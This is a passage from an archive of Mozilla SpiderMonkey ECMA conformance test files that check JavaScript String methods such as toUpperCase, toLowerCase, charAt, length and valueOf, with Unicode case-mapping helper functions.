"var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()", eval( "var u = new Unicode( i ); String.fromCharCode(u.upper)" ), eval("var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()") ); new TestCase( SECTION, "var s = new String( String.fromCharCode("+i+") ); s.toUpperCase().charCodeAt(0)", eval( "var u = new Unicode( i ); u.upper" ), eval("var s = new String( String.fromCharCode("+i+") ); s.toUpperCase().charCodeAt(0)") ); } // Hiragana (no upper / lower case) // Range: U+3040 to U+309F for ( var i = 0x3040; i <= 0x309F; i++ ) { new TestCase( SECTION, "var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()", eval( "var u = new Unicode( i ); String.fromCharCode(u.upper)" ), eval("var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()") ); new TestCase( SECTION, "var s = new String( String.fromCharCode("+i+") ); s.toUpperCase().charCodeAt(0)", eval( "var u = new Unicode( i ); u.upper" ), eval("var s = new String( String.fromCharCode("+i+") ); s.toUpperCase().charCodeAt(0)") ); } /* var TEST_STRING = ""; var EXPECT_STRING = ""; // basic latin test for ( var i = 0; i < 0x007A; i++ ) { var u = new Unicode(i); TEST_STRING += String.fromCharCode(i); EXPECT_STRING += String.fromCharCode( u.upper ); } */ test(); function MyObject( value ) { this.value = value; this.substring = String.prototype.substring; this.toString = new Function ( "return this.value+''" ); } function Unicode( c ) { u = GetUnicodeValues( c ); this.upper = u[0]; this.lower = u[1] return this; } function GetUnicodeValues( c ) { u = new Array(); u[0] = c; u[1] = c; // upper case Basic Latin if ( c >= 0x0041 && c <= 0x005A) { u[0] = c; u[1] = c + 32; return u; } // lower case Basic Latin if ( c >= 0x0061 && c <= 0x007a ) { u[0] = c - 32; u[1] = c; return u; } // upper case Latin-1 Supplement if ( (c >= 0x00C0 && c <= 0x00D6) || (c >= 0x00D8 && c<=0x00DE) ) { u[0] = c; u[1] = c + 32; return u; } // lower case Latin-1 Supplement if ( (c >= 0x00E0 && c <= 0x00F6) || (c >= 0x00F8 && c <= 0x00FE) ) { u[0] = c - 32; u[1] = c; return u; } if ( c == 0x00FF ) { u[0] = 0x0178; u[1] = c; return u; } // Latin Extended A if ( (c >= 0x0100 && c < 0x0138) || (c > 0x0149 && c < 0x0178) ) { // special case for capital I if ( c == 0x0130 ) { u[0] = c; u[1] = 0x0069; return u; } if ( c == 0x0131 ) { u[0] = 0x0049; u[1] = c; return u; } if ( c % 2 == 0 ) { // if it's even, it's a capital and the lower case is c +1 u[0] = c; u[1] = c+1; } else { // if it's odd, it's a lower case and upper case is c-1 u[0] = c-1; u[1] = c; } return u; } if ( c == 0x0178 ) { u[0] = c; u[1] = 0x00FF; return u; } if ( (c >= 0x0139 && c < 0x0149) || (c > 0x0178 && c < 0x017F) ) { if ( c % 2 == 1 ) { // if it's odd, it's a capital and the lower case is c +1 u[0] = c; u[1] = c+1; } else { // if it's even, it's a lower case and upper case is c-1 u[0] = c-1; u[1] = c; } return u; } if ( c == 0x017F ) { u[0] = 0x0053; u[1] = c; } // Latin Extended B // need to improve this set if ( c >= 0x0200 && c <= 0x0217 ) { if ( c % 2 == 0 ) { u[0] = c; u[1] = c+1; } else { u[0] = c-1; u[1] = c; } return u; } // Latin Extended Additional // Range: U+1E00 to U+1EFF // http://www.unicode.org/Unicode.charts/glyphless/U1E00.html // Spacing Modifier Leters // Range: U+02B0 to U+02FF // Combining Diacritical Marks // Range: U+0300 to U+036F // skip Greek for now // Greek // Range: U+0370 to U+03FF // Cyrillic // Range: U+0400 to U+04FF if ( (c >= 0x0401 && c <= 0x040C) || ( c>= 0x040E && c <= 0x040F ) ) { u[0] = c; u[1] = c + 80; return u; } if ( c >= 0x0410 && c <= 0x042F ) { u[0] = c; u[1] = c + 32; return u; } if ( c >= 0x0430 && c<= 0x044F ) { u[0] = c - 32; u[1] = c; return u; } if ( (c >= 0x0451 && c <= 0x045C) || (c >=0x045E && c<= 0x045F) ) { u[0] = c -80; u[1] = c; return u; } if ( c >= 0x0460 && c <= 0x047F ) { if ( c % 2 == 0 ) { u[0] = c; u[1] = c +1; } else { u[0] = c - 1; u[1] = c; } return u; } // Armenian // Range: U+0530 to U+058F if ( c >= 0x0531 && c <= 0x0556 ) { u[0] = c; u[1] = c + 48; return u; } if ( c >= 0x0561 && c < 0x0587 ) { u[0] = c - 48; u[1] = c; return u; } // Hebrew // Range: U+0590 to U+05FF // Arabic // Range: U+0600 to U+06FF // Devanagari // Range: U+0900 to U+097F // Bengali // Range: U+0980 to U+09FF // Gurmukhi // Range: U+0A00 to U+0A7F // Gujarati // Range: U+0A80 to U+0AFF // Oriya // Range: U+0B00 to U+0B7F // no capital / lower case // Tamil // Range: U+0B80 to U+0BFF // no capital / lower case // Telugu // Range: U+0C00 to U+0C7F // no capital / lower case // Kannada // Range: U+0C80 to U+0CFF // no capital / lower case // Malayalam // Range: U+0D00 to U+0D7F // Thai // Range: U+0E00 to U+0E7F // Lao // Range: U+0E80 to U+0EFF // Tibetan // Range: U+0F00 to U+0FBF // Georgian // Range: U+10A0 to U+10F0 if ( c >= 0x10A0 && c <= 0x10C5 ) { u[0] = c; u[1] = c + 48; return u; } if ( c >= 0x10D0 && c <= 0x10F5 ) { u[0] = c; u[1] = c; return u; } // Hangul Jamo // Range: U+1100 to U+11FF // Greek Extended // Range: U+1F00 to U+1FFF // skip for now // General Punctuation // Range: U+2000 to U+206F // Superscripts and Subscripts // Range: U+2070 to U+209F // Currency Symbols // Range: U+20A0 to U+20CF // Combining Diacritical Marks for Symbols // Range: U+20D0 to U+20FF // skip for now // Number Forms // Range: U+2150 to U+218F // skip for now // Arrows // Range: U+2190 to U+21FF // Mathematical Operators // Range: U+2200 to U+22FF // Miscellaneous Technical // Range: U+2300 to U+23FF // Control Pictures // Range: U+2400 to U+243F // Optical Character Recognition // Range: U+2440 to U+245F // Enclosed Alphanumerics // Range: U+2460 to U+24FF // Box Drawing // Range: U+2500 to U+257F // Block Elements // Range: U+2580 to U+259F // Geometric Shapes // Range: U+25A0 to U+25FF // Miscellaneous Symbols // Range: U+2600 to U+26FF // Dingbats // Range: U+2700 to U+27BF // CJK Symbols and Punctuation // Range: U+3000 to U+303F // Hiragana // Range: U+3040 to U+309F // Katakana // Range: U+30A0 to U+30FF // Bopomofo // Range: U+3100 to U+312F // Hangul Compatibility Jamo // Range: U+3130 to U+318F // Kanbun // Range: U+3190 to U+319F // Enclosed CJK Letters and Months // Range: U+3200 to U+32FF // CJK Compatibility // Range: U+3300 to U+33FF // Hangul Syllables // Range: U+AC00 to U+D7A3 // High Surrogates // Range: U+D800 to U+DB7F // Private Use High Surrogates // Range: U+DB80 to U+DBFF // Low Surrogates // Range: U+DC00 to U+DFFF // Private Use Area // Range: U+E000 to U+F8FF // CJK Compatibility Ideographs // Range: U+F900 to U+FAFF // Alphabetic Presentation Forms // Range: U+FB00 to U+FB4F // Arabic Presentation Forms-A // Range: U+FB50 to U+FDFF // Combining Half Marks // Range: U+FE20 to U+FE2F // CJK Compatibility Forms // Range: U+FE30 to U+FE4F // Small Form Variants // Range: U+FE50 to U+FE6F // Arabic Presentation Forms-B // Range: U+FE70 to U+FEFF // Halfwidth and Fullwidth Forms // Range: U+FF00 to U+FFEF if ( c >= 0xFF21 && c <= 0xFF3A ) { u[0] = c; u[1] = c + 32; return u; } if ( c >= 0xFF41 && c <= 0xFF5A ) { u[0] = c - 32; u[1] = c; return u; } // Specials // Range: U+FFF0 to U+FFFF return u; } function DecimalToHexString( n ) { n = Number( n ); var h = "0x"; for ( var i = 3; i >= 0; i-- ) { if ( n >= Math.pow(16, i) ){ var t = Math.floor( n / Math.pow(16, i)); n -= t * Math.pow(16, i); if ( t >= 10 ) { if ( t == 10 ) { h += "A"; } if ( t == 11 ) { h += "B"; } if ( t == 12 ) { h += "C"; } if ( t == 13 ) { h += "D"; } if ( t == 14 ) { h += "E"; } if ( t == 15 ) { h += "F"; } } else { h += String( t ); } } else { h += "0"; } } return h; } mozjs17.0.0/js/src/tests/ecma/String/15.5.5.1.js0000664000175000017500000000305412106270663020553 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.5.1 ECMA Section: String.length Description: The number of characters in the String value represented by this String object. Once a String object is created, this property is unchanging. It has the attributes { DontEnum, DontDelete, ReadOnly }. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.5.5.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.length"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var s = new String(); s.length", 0, eval("var s = new String(); s.length") ); new TestCase( SECTION, "var s = new String(); s.length = 10; s.length", 0, eval("var s = new String(); s.length = 10; s.length") ); new TestCase( SECTION, "var s = new String(); var props = ''; for ( var p in s ) { props += p; }; props", "", eval("var s = new String(); var props = ''; for ( var p in s ) { props += p; }; props") ); new TestCase( SECTION, "var s = new String(); delete s.length", false, eval("var s = new String(); delete s.length") ); new TestCase( SECTION, "var s = new String('hello'); delete s.length; s.length", 5, eval("var s = new String('hello'); delete s.length; s.length") ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.4-2.js0000664000175000017500000002074012106270663020715 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.4-1.js ECMA Section: 15.5.4.4 String.prototype.charAt(pos) Description: Returns a string containing the character at position pos in the string. If there is no character at that string, the result is the empty string. The result is a string value, not a String object. When the charAt method is called with one argument, pos, the following steps are taken: 1. Call ToString, with this value as its argument 2. Call ToInteger pos 3. Compute the number of characters in Result(1) 4. If Result(2) is less than 0 is or not less than Result(3), return the empty string 5. Return a string of length 1 containing one character from result (1), the character at position Result(2). Note that the charAt function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.4.4-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.charAt"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(0)", "t", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(0)") ); new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(1)", "r", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(1)") ); new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(2)", "u", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(2)") ); new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(3)", "e", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(3)") ); new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(4)", "", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(4)") ); new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(-1)", "", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(-1)") ); new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(true)", "r", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(true)") ); new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(false)", "t", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(false)") ); new TestCase( SECTION, "x = new String(); x.charAt(0)", "", eval("x=new String();x.charAt(0)") ); new TestCase( SECTION, "x = new String(); x.charAt(1)", "", eval("x=new String();x.charAt(1)") ); new TestCase( SECTION, "x = new String(); x.charAt(-1)", "", eval("x=new String();x.charAt(-1)") ); new TestCase( SECTION, "x = new String(); x.charAt(NaN)", "", eval("x=new String();x.charAt(Number.NaN)") ); new TestCase( SECTION, "x = new String(); x.charAt(Number.POSITIVE_INFINITY)", "", eval("x=new String();x.charAt(Number.POSITIVE_INFINITY)") ); new TestCase( SECTION, "x = new String(); x.charAt(Number.NEGATIVE_INFINITY)", "", eval("x=new String();x.charAt(Number.NEGATIVE_INFINITY)") ); new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(0)", "1", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(0)") ); new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(1)", "2", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(1)") ); new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(2)", "3", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(2)") ); new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(3)", "4", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(3)") ); new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(4)", "5", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(4)") ); new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(5)", "6", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(5)") ); new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(6)", "7", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(6)") ); new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(7)", "8", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(7)") ); new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(8)", "9", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(8)") ); new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(9)", "0", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(9)") ); new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(10)", "", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(10)") ); new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(Math.PI)", "4", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(Math.PI)") ); // MyOtherObject.toString will return "[object Object] new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(0)", "[", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(0)") ); new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(1)", "o", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(1)") ); new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(2)", "b", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(2)") ); new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(3)", "j", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(3)") ); new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(4)", "e", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(4)") ); new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(5)", "c", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(5)") ); new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(6)", "t", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(6)") ); new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(7)", " ", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(7)") ); new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(8)", "O", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(8)") ); new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(9)", "b", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(9)") ); new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(10)", "j", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(10)") ); new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(11)", "e", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(11)") ); new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(12)", "c", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(12)") ); new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(13)", "t", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(13)") ); new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(14)", "]", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(14)") ); test(); function MyObject( value ) { this.value = value; this.valueOf = new Function( "return this.value;" ); this.toString = new Function( "return this.value +''" ); this.charAt = String.prototype.charAt; } function MyOtherObject(value) { this.value = value; this.valueOf = new Function( "return this.value;" ); this.charAt = String.prototype.charAt; } mozjs17.0.0/js/src/tests/ecma/String/15.5.4.11-4.js0000664000175000017500000002243712106270663021002 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.11-2.js ECMA Section: 15.5.4.11 String.prototype.toLowerCase() Description: Returns a string equal in length to the length of the result of converting this object to a string. The result is a string value, not a String object. Every character of the result is equal to the corresponding character of the string, unless that character has a Unicode 2.0 uppercase equivalent, in which case the uppercase equivalent is used instead. (The canonical Unicode 2.0 case mapping shall be used, which does not depend on implementation or locale.) Note that the toLowerCase function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.5.4.11-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.toLowerCase()"; writeHeaderToLog( SECTION + " "+ TITLE); // Hiragana (no upper / lower case) // Range: U+3040 to U+309F for ( var i = 0x3040; i <= 0x309F; i++ ) { var U = new Unicode( i ); /* new TestCase( SECTION, "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()", String.fromCharCode(U.lower), eval("var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()") ); */ new TestCase( SECTION, "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase().charCodeAt(0)", U.lower, eval("var s = new String( String.fromCharCode(i) ); s.toLowerCase().charCodeAt(0)") ); } test(); function MyObject( value ) { this.value = value; this.substring = String.prototype.substring; this.toString = new Function ( "return this.value+''" ); } function Unicode( c ) { this.upper = c; this.lower = c; // upper case Basic Latin if ( c >= 0x0041 && c <= 0x005A) { this.upper = c; this.lower = c + 32; return this; } // lower case Basic Latin if ( c >= 0x0061 && c <= 0x007a ) { this.upper = c - 32; this.lower = c; return this; } // upper case Latin-1 Supplement if ( (c >= 0x00C0 && c <= 0x00D6) || (c >= 0x00D8 && c<=0x00DE) ) { this.upper = c; this.lower = c + 32; return this; } // lower case Latin-1 Supplement if ( (c >= 0x00E0 && c <= 0x00F6) || (c >= 0x00F8 && c <= 0x00FE) ) { this.upper = c - 32; this.lower = c; return this; } if ( c == 0x00FF ) { this.upper = 0x0178; this.lower = c; return this; } // Latin Extended A if ( (c >= 0x0100 && c < 0x0138) || (c > 0x0149 && c < 0x0178) ) { // special case for capital I if ( c == 0x0130 ) { this.upper = c; this.lower = 0x0069; return this; } if ( c == 0x0131 ) { this.upper = 0x0049; this.lower = c; return this; } if ( c % 2 == 0 ) { // if it's even, it's a capital and the lower case is c +1 this.upper = c; this.lower = c+1; } else { // if it's odd, it's a lower case and upper case is c-1 this.upper = c-1; this.lower = c; } return this; } if ( c == 0x0178 ) { this.upper = c; this.lower = 0x00FF; return this; } if ( (c >= 0x0139 && c < 0x0149) || (c > 0x0178 && c < 0x017F) ) { if ( c % 2 == 1 ) { // if it's odd, it's a capital and the lower case is c +1 this.upper = c; this.lower = c+1; } else { // if it's even, it's a lower case and upper case is c-1 this.upper = c-1; this.lower = c; } return this; } if ( c == 0x017F ) { this.upper = 0x0053; this.lower = c; } // Latin Extended B // need to improve this set if ( c >= 0x0200 && c <= 0x0217 ) { if ( c % 2 == 0 ) { this.upper = c; this.lower = c+1; } else { this.upper = c-1; this.lower = c; } return this; } // Latin Extended Additional // Range: U+1E00 to U+1EFF // http://www.unicode.org/Unicode.charts/glyphless/U1E00.html // Spacing Modifier Leters // Range: U+02B0 to U+02FF // Combining Diacritical Marks // Range: U+0300 to U+036F // skip Greek for now // Greek // Range: U+0370 to U+03FF // Cyrillic // Range: U+0400 to U+04FF if ( (c >= 0x0401 && c <= 0x040C) || ( c>= 0x040E && c <= 0x040F ) ) { this.upper = c; this.lower = c + 80; return this; } if ( c >= 0x0410 && c <= 0x042F ) { this.upper = c; this.lower = c + 32; return this; } if ( c >= 0x0430 && c<= 0x044F ) { this.upper = c - 32; this.lower = c; return this; } if ( (c >= 0x0451 && c <= 0x045C) || (c >=0x045E && c<= 0x045F) ) { this.upper = c -80; this.lower = c; return this; } if ( c >= 0x0460 && c <= 0x047F ) { if ( c % 2 == 0 ) { this.upper = c; this.lower = c +1; } else { this.upper = c - 1; this.lower = c; } return this; } // Armenian // Range: U+0530 to U+058F if ( c >= 0x0531 && c <= 0x0556 ) { this.upper = c; this.lower = c + 48; return this; } if ( c >= 0x0561 && c < 0x0587 ) { this.upper = c - 48; this.lower = c; return this; } // Hebrew // Range: U+0590 to U+05FF // Arabic // Range: U+0600 to U+06FF // Devanagari // Range: U+0900 to U+097F // Bengali // Range: U+0980 to U+09FF // Gurmukhi // Range: U+0A00 to U+0A7F // Gujarati // Range: U+0A80 to U+0AFF // Oriya // Range: U+0B00 to U+0B7F // no capital / lower case // Tamil // Range: U+0B80 to U+0BFF // no capital / lower case // Telugu // Range: U+0C00 to U+0C7F // no capital / lower case // Kannada // Range: U+0C80 to U+0CFF // no capital / lower case // Malayalam // Range: U+0D00 to U+0D7F // Thai // Range: U+0E00 to U+0E7F // Lao // Range: U+0E80 to U+0EFF // Tibetan // Range: U+0F00 to U+0FBF // Georgian // Range: U+10A0 to U+10F0 if ( c >= 0x10A0 && c <= 0x10C5 ) { this.upper = c; this.lower = c + 48; return this; } if ( c >= 0x10D0 && c <= 0x10F5 ) { this.upper = c; this.lower = c; return this; } // Hangul Jamo // Range: U+1100 to U+11FF // Greek Extended // Range: U+1F00 to U+1FFF // skip for now // General Punctuation // Range: U+2000 to U+206F // Superscripts and Subscripts // Range: U+2070 to U+209F // Currency Symbols // Range: U+20A0 to U+20CF // Combining Diacritical Marks for Symbols // Range: U+20D0 to U+20FF // skip for now // Number Forms // Range: U+2150 to U+218F // skip for now // Arrows // Range: U+2190 to U+21FF // Mathematical Operators // Range: U+2200 to U+22FF // Miscellaneous Technical // Range: U+2300 to U+23FF // Control Pictures // Range: U+2400 to U+243F // Optical Character Recognition // Range: U+2440 to U+245F // Enclosed Alphanumerics // Range: U+2460 to U+24FF // Box Drawing // Range: U+2500 to U+257F // Block Elements // Range: U+2580 to U+259F // Geometric Shapes // Range: U+25A0 to U+25FF // Miscellaneous Symbols // Range: U+2600 to U+26FF // Dingbats // Range: U+2700 to U+27BF // CJK Symbols and Punctuation // Range: U+3000 to U+303F // Hiragana // Range: U+3040 to U+309F // Katakana // Range: U+30A0 to U+30FF // Bopomofo // Range: U+3100 to U+312F // Hangul Compatibility Jamo // Range: U+3130 to U+318F // Kanbun // Range: U+3190 to U+319F // Enclosed CJK Letters and Months // Range: U+3200 to U+32FF // CJK Compatibility // Range: U+3300 to U+33FF // Hangul Syllables // Range: U+AC00 to U+D7A3 // High Surrogates // Range: U+D800 to U+DB7F // Private Use High Surrogates // Range: U+DB80 to U+DBFF // Low Surrogates // Range: U+DC00 to U+DFFF // Private Use Area // Range: U+E000 to U+F8FF // CJK Compatibility Ideographs // Range: U+F900 to U+FAFF // Alphabetic Presentation Forms // Range: U+FB00 to U+FB4F // Arabic Presentation Forms-A // Range: U+FB50 to U+FDFF // Combining Half Marks // Range: U+FE20 to U+FE2F // CJK Compatibility Forms // Range: U+FE30 to U+FE4F // Small Form Variants // Range: U+FE50 to U+FE6F // Arabic Presentation Forms-B // Range: U+FE70 to U+FEFF // Halfwidth and Fullwidth Forms // Range: U+FF00 to U+FFEF if ( c >= 0xFF21 && c <= 0xFF3A ) { this.upper = c; this.lower = c + 32; return this; } if ( c >= 0xFF41 && c <= 0xFF5A ) { this.upper = c - 32; this.lower = c; return this; } // Specials // Range: U+FFF0 to U+FFFF return this; } function DecimalToHexString( n ) { n = Number( n ); var h = "0x"; for ( var i = 3; i >= 0; i-- ) { if ( n >= Math.pow(16, i) ){ var t = Math.floor( n / Math.pow(16, i)); n -= t * Math.pow(16, i); if ( t >= 10 ) { if ( t == 10 ) { h += "A"; } if ( t == 11 ) { h += "B"; } if ( t == 12 ) { h += "C"; } if ( t == 13 ) { h += "D"; } if ( t == 14 ) { h += "E"; } if ( t == 15 ) { h += "F"; } } else { h += String( t ); } } else { h += "0"; } } return h; } mozjs17.0.0/js/src/tests/ecma/String/15.5.4.1.js0000664000175000017500000000205712106270663020554 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.1.js ECMA Section: 15.5.4.1 String.prototype.constructor Description: Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.5.4.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.constructor"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "String.prototype.constructor == String", true, String.prototype.constructor == String ); new TestCase( SECTION, "var STRING = new String.prototype.constructor('hi'); STRING.getClass = Object.prototype.toString; STRING.getClass()", "[object String]", eval("var STRING = new String.prototype.constructor('hi'); STRING.getClass = Object.prototype.toString; STRING.getClass()") ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.3.1-1.js0000664000175000017500000000221212106270663020702 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.3.1-1.js ECMA Section: 15.5.3.1 Properties of the String Constructor Description: The initial value of String.prototype is the built-in String prototype object. This property shall have the attributes [ DontEnum, DontDelete, ReadOnly] This tests the DontEnum attribute. Author: christine@netscape.com Date: 1 october 1997 */ var SECTION = "15.5.3.1-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Properties of the String Constructor"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "String.prototype.length", 0, String.prototype.length ); new TestCase( SECTION, "var str='';for ( p in String ) { if ( p == 'prototype' ) str += p; } str", "", eval("var str='';for ( p in String ) { if ( p == 'prototype' ) str += p; } str") ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.3-3-n.js0000664000175000017500000000242612106270663021151 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.3-3-n.js ECMA Section: 15.5.4.3 String.prototype.valueOf() Description: Returns this string value. The valueOf function is not generic; it generates a runtime error if its this value is not a String object. Therefore it connot be transferred to the other kinds of objects for use as a method. Author: christine@netscape.com Date: 1 october 1997 */ var SECTION = "15.5.4.3-3-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.valueOf"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var valof=String.prototype.valueOf; astring=new Number(); astring.valueOf = valof; astring.valof()"; EXPECTED = "error"; new TestCase( SECTION, "var valof=String.prototype.valueOf; astring=new Number(); astring.valueOf = valof; astring.valof()", "error", eval("var valof=String.prototype.valueOf; astring=new Number(); astring.valueOf = valof; astring.valueOf()") ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.3.1-2.js0000664000175000017500000000201512106270663020704 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.3.1-2.js ECMA Section: 15.5.3.1 Properties of the String Constructor Description: The initial value of String.prototype is the built-in String prototype object. This property shall have the attributes [ DontEnum, DontDelete, ReadOnly] This tests the ReadOnly attribute. Author: christine@netscape.com Date: 1 october 1997 */ var SECTION = "15.5.3.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Properties of the String Constructor"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "String.prototype=null;String.prototype", String.prototype, eval("String.prototype=null;String.prototype") ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.3.2-2.js0000664000175000017500000000336612106270663020717 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 